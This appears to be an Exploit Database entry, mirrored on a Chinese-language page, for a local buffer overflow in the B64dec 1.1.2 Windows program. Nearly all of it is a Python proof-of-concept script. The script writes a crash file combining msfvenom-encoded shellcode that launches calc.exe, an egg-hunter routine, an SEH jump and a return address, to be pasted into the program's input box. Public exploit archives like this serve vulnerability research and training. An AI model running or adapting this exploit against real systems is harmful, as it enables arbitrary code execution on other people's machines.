B64dec 1.1.2 – Buffer Overflow (SEH Overflow + EggHunter)

• Exploit Database
• 13 阅读

• 作者： Andy Bowden
  日期： 2020-04-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48317/

• # Exploit Title: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)
  # Date: 2020-04-13
  # Exploit Author: Andy Bowden
  # Vendor Homepage: http://4mhz.de/b64dec.html
  # Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip
  # Version: Base64 Decoder 1.1.2
  # Tested on: Windows 10 x86
  
  #Instructions:
  # Run the script to create the Crash.txt file. Copy the contents of the file and paste them into the search box and then click decode. 
  
  f = open("crash.txt", "wb")
  
  padding1 = b"ERCDERCD" 
  padding1+= b"\x90" * 100
  
  # msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
  # cmd=calc.exe exitfunc=thread -f python
  payload =b""
  payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
  payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
  payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
  payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
  payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
  payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
  payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
  payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
  payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
  payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
  payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
  payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
  payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
  payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
  payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
  payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
  payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"
  
  egghunter= b"\x8B\xFD"# mov edi,ebp
  egghunter += b"\xB8\x45\x52\x43\x44"# mov eax,45525344 ERCD 
  egghunter += b"\x47"# inc edi 
  egghunter += b"\x39\x07"# cmp dword ptr ds:[edi],eax
  egghunter += b"\x75\xFB"# jne 
  egghunter += b"\x39\x07"# cmp dword ptr ds:[edi],eax
  egghunter += b"\x75\xF7"# jne
  egghunter += b"\xFF\xE7"# jmp edi
  
  buf = padding1 + payload 
  buf += b"\x90" * (580 - len(padding1 + payload))
  buf += egghunter
  buf += b"\x90" * (620 - len(buf))
  buf += b"\x90\x90\xEB\xCE"
  buf += b"\x86\x1e\x40" #00401e86
  
  f.write(buf)
  f.close()